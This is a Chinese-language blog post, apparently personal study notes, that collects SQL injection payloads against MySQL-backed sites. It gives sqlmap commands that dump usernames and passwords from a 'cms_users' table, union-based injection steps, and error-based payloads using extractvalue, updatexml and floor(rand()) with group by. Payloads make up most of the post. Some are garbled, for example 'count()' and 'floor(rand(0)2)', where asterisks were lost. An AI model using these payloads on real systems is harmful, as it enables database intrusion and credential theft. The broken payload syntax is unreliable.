SQL注入

最新推荐文章于 2024-09-14 18:42:05 发布

aliex23

最新推荐文章于 2024-09-14 18:42:05 发布

阅读量527

点赞数 13

分类专栏：基础漏洞文章标签： sql 数据库

本文链接：https://blog.csdn.net/kjssy/article/details/141324269

版权

基础漏洞专栏收录该内容

6 篇文章 0 订阅

订阅专栏

参考链接：
https://blog.csdn.net/silence1_/article/details/90812612

一.sqlmap注入

1.sqlmap -u “http://” --dbs
2.sqlmap -u “http://” -D cms --tables
3.sqlmap -u “http://” -D cms -T cms_users --columns
4.sqlmap -u “http://” -D cms -T cms_users -C username,password --dump

# 二.union注入

1.判断是GET还是POST
2.确认注入类型（字符或数字）
3.确定字段总数：order by 3–+
4.查询表名：union select 1，group_concat(table_name),15 from information_schema.tables where table_schema=database()
5.查询列名：union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘cms_users’
6.查询指定字段名： union select 1,username,password from cms_users

三.报错注入

报错注入在没法用union联合查询时用，但前提还是不能过滤一些关键的函数。

报错注入就是利用了数据库的某些机制，人为地制造错误条件，使得查询结果能够出现在错误信息中。这里主要记录一下xpath语法错误和concat+rand()+group_by()导致主键重复

1.extractvalue

函数原型：extractvalue(xml_document,Xpath_string)
第一个参数：xml_document是string格式，为xml文档对象的名称
第二个参数：Xpath_string是xpath格式的字符串
作用：从目标xml中返回包含所查询值的字符串
第二个参数是要求符合xpath语法的字符串，如果不满足要求，则会报错，并且将查询结果放在报错信息里，因此可以利用。
pyload：
id=‘and(select extractvalue(“anything”,concat(’~',(select语句))))
id='and select extractvalue(1,concat(0x7e,select database()));
concat是拼接括号里面的内容，变为~select，这样语法有问题会报错显示出我们想要的信息

针对mysql：

‘0x7e‘可以换成’#’'$'等不满足xpath格式的字符,不满足才会报错出来
extractvalue()能查询字符串的最大长度为32，如果我们想要的结果超过32，就要用substring()函数截取或limit分页(limit 0,1,limit 1,1)，一次查看最多32位

查数据库名：id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名：id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名：id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=“TABLE_NAME”))))
爆数据：id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

2.updatexml

函数原型：updatexml(xml_document,xpath_string,new_value)
第一个参数：xml_document是string格式，为xml文档对象的名称第二个参数：xpath_string是xpath格式的字符串
第三个参数：new_value是string格式，替换查找到的负荷条件的数据作用：改变文档中符合条件的节点的值

payloads:

爆数据库名：'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名：'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名：'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=“TABLE_NAME”)),0x7e))
爆数据：'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

3.concat+rand()+group_by()导致主键重复

这种报错方法的本质是因为floor(rand(0)*2)的重复性，导致group by语句出错。group by key的原理是循环读取数据的每一行，将结果保存于临时表中。读取每一行的key时，如果key存在于临时表中，则不在临时表中更新临时表的数据；如果key不在临时表中，则在临时表中插入key所在行的数据。

爆数据库名：'union select 1 from (select count(*),concat((select database())," “,floor(rand(0)2))x from information_schema.tables group by x)a
爆表名：'union select 1 from (select count(),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,” “,floor(rand(0)2))x from information_schema.tables group by x)a
爆列名：'union select 1 from (select count(),concat((select column_name from information_schema.columns where table_name=“TABLE_NAME” limit 0,1) ,” “,floor(rand(0)2))x from information_schema.tables group by x)a
爆数据：'union select 1 from (select count(),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ,” ",floor(rand(0)*2))x from information_schema.tables group by x)a